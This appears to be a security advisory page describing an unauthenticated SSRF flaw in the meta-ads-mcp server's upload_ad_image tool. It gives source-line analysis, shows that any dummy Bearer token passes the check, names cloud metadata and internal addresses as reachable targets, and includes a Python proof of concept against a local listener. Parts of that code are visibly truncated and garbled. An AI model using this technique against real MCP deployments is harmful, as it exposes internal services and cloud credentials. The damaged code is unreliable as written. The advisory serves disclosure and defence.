VulnWatch VulnWatch
← Back to dashboard
High github · GHSA-45gf-fjxp-cjpq

meta-ads-mcp: Server-Side Request Forgery (SSRF) in `upload_ad_image` via Unrestricted `image_url` Fetch

Published Jul 17, 2026 CVSS 8.3

Server-Side Request Forgery (SSRF) in upload_ad_image via Unrestricted image_url Fetch

Summary

The upload_ad_image MCP tool in meta-ads-mcp v1.0.113 passes an attacker-controlled image_url parameter directly to an HTTP fetch helper (httpx.AsyncClient(follow_redirects=True).get(url)) without any scheme, host, or IP address validation. When the server is deployed with the streamable-http transport (a documented, officially supported mode), an unauthenticated remote attacker can supply an arbitrary URL—including http://127.0.0.1/, RFC 1918 addresses, or cloud metadata endpoints such as http://169.254.169.254/—and cause the server to issue an outbound HTTP request to that target. The Authorization middleware only verifies that a non-empty Bearer token is present; actual Meta API credential validation occurs after the image download, so any dummy Bearer token bypasses the pre-fetch check. This constitutes a full, unauthenticated Server-Side Request Forgery with a confirmed CVSS 3.1 Base Score of 8.3 (High).

Details

Source

meta_ads_mcp/core/ads.py, line 1316–1322: The MCP tool upload_ad_image is registered with @mcp_server.tool() and exposes image_url: Optional[str] as a direct tool argument that is fully attacker-controlled over the network.

# meta_ads_mcp/core/ads.py
1316: @mcp_server.tool()
1318: async def upload_ad_image(
1322:     image_url: Optional[str] = None,

Propagation

meta_ads_mcp/core/ads.py, line 1389: The value is forwarded to try_multiple_download_methods(image_url) without any sanitization or validation.

# meta_ads_mcp/core/ads.py
1389:     image_bytes = await try_multiple_download_methods(image_url)

Sinks

meta_ads_mcp/core/utils.py contains three independent HTTP fetch paths, all using httpx.AsyncClient with follow_redirects=True and no URL, host, or IP validation:

# meta_ads_mcp/core/utils.py
166:     async with httpx.AsyncClient(follow_redirects=True, timeout=30.0) as client:
168:         response = await client.get(url, headers=headers)

214:     async with httpx.AsyncClient(follow_redirects=True) as client:
215:         response = await client.get(url, headers=headers, timeout=30.0)

224:     async with httpx.AsyncClient(follow_redirects=True) as client:
228:         response = await client.get(url, timeout=30.0)

Authorization bypass

meta_ads_mcp/core/http_auth_integration.py, lines 78–82: The middleware extracts any non-empty Bearer token value and places it into request context without validating it against Meta's API. The actual Meta OAuth token check (in meta_ads_mcp/core/api.py:415) occurs only after the image download completes, meaning the SSRF sink fires before any meaningful credential verification.

Absence of sanitization

A search for urlparse, urlsplit, ipaddress, localhost, 127.0.0.1, 169.254, private, allowlist, blocklist, or is_global in meta_ads_mcp/core/ads.py and meta_ads_mcp/core/utils.py returns no matches. No URL, scheme, hostname, or IP validation is present anywhere in the fetch path.

Transport exposure

meta_ads_mcp/core/server.py, line 219: The --transport streamable-http mode is a documented, officially supported deployment option (not a development-only stub), meaning the attack surface is reachable over the network in production deployments.

PoC

Environment setup

# Build and run the Docker image (includes vulnerable meta-ads-mcp v1.0.113 and poc.py)
docker build -f vuln-001/Dockerfile \
  -t meta-ads-ssrf-poc \
  reports/pypiAi_615_pipeboard-co__meta-ads-mcp/

docker run --rm meta-ads-ssrf-poc
# Exit code 0 = SSRF confirmed

Manual reproduction (two terminals)

# Terminal 1 — SSRF capture listener on port 9009
python3 -  None:
    server = HTTPServer(("127.0.0.1", SSRF_PORT), SSRFCaptureHandler)
    server.serve_forever()


# ── Helpers ───────────────────────────────────────────────────────────────────

def wait_for_port(host: str, port: int, timeout: float = 30.0) -> bool:
    """Poll until the TCP port is accepting connections or timeout expires."""
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            with socket.create_connection((host, port), timeout=1.0):
                return True
        except (ConnectionRefusedError, OSError):
            time.sleep(0.5)
    return False


def mcp_post(
    method: str,
    params: dict,
    req_id: int,
    session_id: str | None = None,
) -> httpx.Response:
    """Send a single JSON-RPC 2.0 request to the MCP streamable-HTTP endpoint.

    Path is /mcp (no trailing slash) — FastMCP 1.23.0 redirects /mcp/ → /mcp
    with HTTP 307, so we skip the redirect by targeting the canonical path directly.
    Accept header must include text/event-stream; without it the server returns 406.
    """
    headers = {
        "Content-Type": "application/json",
        # MCP streamable-HTTP requires both JSON and SSE in Accept; omitting
        # text/event-stream causes HTTP 406 from the FastMCP uvicorn handler.
        "Accept": "application/json, text/event-stream",
        # Dummy Bearer token — the middleware only checks that it is non-empty;
        # Meta API credential validation happens AFTER the image download (SSRF sink).
        "Authorization": "Bearer dummy-ssrf-poc-token",
    }
    if session_id:
        headers["Mcp-Session-Id"] = session_id

    payload = {"jsonrpc": "2.0", "method": method, "id": req_id, "params": params}
    with httpx.Client(timeout=30.0) as client:
        return client.post(
            f"http://127.0.0.1:{MCP_PORT}/mcp",  # no trailing slash
            json=payload,
            headers=headers,
        )


# ── Main PoC ──────────────────────────────────────────────────────────────────

def main() -> int:
    print("=" * 65, flush=True)
    print("VULN-001 PoC  —  SSRF in meta-ads-mcp upload_ad_image (v1.0.113)", flush=True)
    print("CWE-918 | CVSS 8.3 | image_url fetch has zero URL validation", flush=True)
    print("=" * 65, flush=True)

    # ── Step 1: Start the SSRF capture listener ────────────────────────────
    t = threading.Thread(target=start_ssrf_listener, daemon=True)
    t.start()
    time.sleep(0.3)
    print(f"[+] SSRF capture listener running on 127.0.0.1:{SSRF_PORT}", flush=True)

    # ── Step 2: Start the vulnerable MCP server ────────────────────────────
    env = os.environ.copy()
    # Dummy credentials so the server starts; the Meta API is only called after
    # the image has already been fetched (i.e., after the SSRF fires).
    env.setdefault("META_APP_ID", "poc-dummy-app-id")
    env.setdefault("META_APP_SECRET", "poc-dummy-secret")
    env.setdefault("PIPEBOARD_API_TOKEN", "")

    proc = subprocess.Popen(
        [
            sys.executable, "-m", "meta_ads_mcp",
            "--transport", "streamable-http",
            "--host", "127.0.0.1",
            "--port", str(MCP_PORT),
        ],
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
        env=env,
        cwd="/app",
    )
    print(f"[*] Waiting for MCP server to bind on 127.0.0.1:{MCP_PORT} ...", flush=True)

    # ── Step 3: Wait for server readiness ─────────────────────────────────
    if not wait_for_port("127.0.0.1", MCP_PORT, timeout=30):
        try:
            out, _ = proc.communicate(timeout=5)
        except subprocess.TimeoutExpired:
            out = ""
        print(f"[FAIL] MCP server did not start within 30 s.\nServer output:\n{out}", flush=True)
        return 2
    print(f"[+] MCP server is up on 127.0.0.1:{MCP_PORT}", flush=True)
    time.sleep(0.5)

    # ── Step 4: MCP protocol initialization ───────────────────────────────
    # The streamable-HTTP transport requires a brief initialize / initialized
    # handshake before accepting tool calls.
    session_id = None
    try:
        resp = mcp_post(
            "initialize",
            {
                "protocolVersion": "2024-11-05",
                "capabilities": {},
                "clientInfo": {"name": "ssrf-poc", "version": "1.0"},
            },
            req_id=0,
        )
        print(f"[*] initialize -> HTTP {resp.status_code}", flush=True)
        session_id = resp.headers.get("Mcp-Session-Id")
        if session_id:
            print(f"[*] Session ID: {session_id}", flush=True)
            notif_headers = {
                "Content-Type": "application/json",
                "Authorization": "Bearer dummy-ssrf-poc-token",
                "Mcp-Session-Id": session_id,
            }
            notif_payload = {
                "jsonrpc": "2.0",
                "method": "notifications/initialized",
                "params": {},
            }
            with httpx.Client(timeout=10.0) as client:
                nr = client.post(
                    f"http://127.0.0.1:{MCP_PORT}/mcp",  # no trailing slash
                    json=notif_payload,
                    headers=notif_headers,
                )
            print(f"[*] notifications/initialized -> HTTP {nr.status_code}", flush=True)
    except Exception as exc:
        print(f"[*] Initialization step error (non-fatal): {exc}", flush=True)

    # ── Step 5: Send the SSRF exploit payload ─────────────────────────────
    ssrf_url = f"http://127.0.0.1:{SSRF_PORT}{SSRF_PATH}"
    print(f"\n[*] Sending exploit request ...", flush=True)
    print(f"    method        : tools/call", flush=True)
    print(f"    tool          : upload_ad_image", flush=True)
    print(f"    image_url     : {ssrf_url}   HTTP {resp.status_code}", flush=True)
        print(f"[*] Response preview (first 400 chars):\n{resp.text[:400]}", flush=True)
    except Exception as exc:
        print(f"[*] tools/call exception: {exc}", flush=True)

    # ── Step 6: Allow time for async fetch to complete ────────────────────
    time.sleep(4)
    proc.terminate()

    # ── Step 7: Evaluate and report ───────────────────────────────────────
    print("\n" + "=" * 65, flush=True)
    with ssrf_lock:
        hits = list(ssrf_hits)

    if hits:
        print(
            f"[PASS] SSRF CONFIRMED — MCP server issued {len(hits)} request(s) to"
            f" 127.0.0.1:{SSRF_PORT}",
            flush=True,
        )
        for h in hits:
            print(
                f"  -> {h['method']} {h['path']}"
                f"  |  User-Agent: {h['user_agent']!r}",
                flush=True,
            )
        print(
            "\nConclusion: upload_ad_image passes attacker-controlled image_url to"
            " httpx.AsyncClient(follow_redirects=True).get(url) without any scheme,"
            " host, or IP validation. Internal services are reachable via SSRF.",
            flush=True,
        )
        print("=" * 65, flush=True)
        return 0
    else:
        print(
            f"[FAIL] No requests received on SSRF listener at 127.0.0.1:{SSRF_PORT}.",
            flush=True,
        )
        print("=" * 65, flush=True)
        return 1


if __name__ == "__main__":
    sys.exit(main())

Affected AI Products

mcp server
Get the weekly digest. Every Monday: top AI security stories of the week. Free.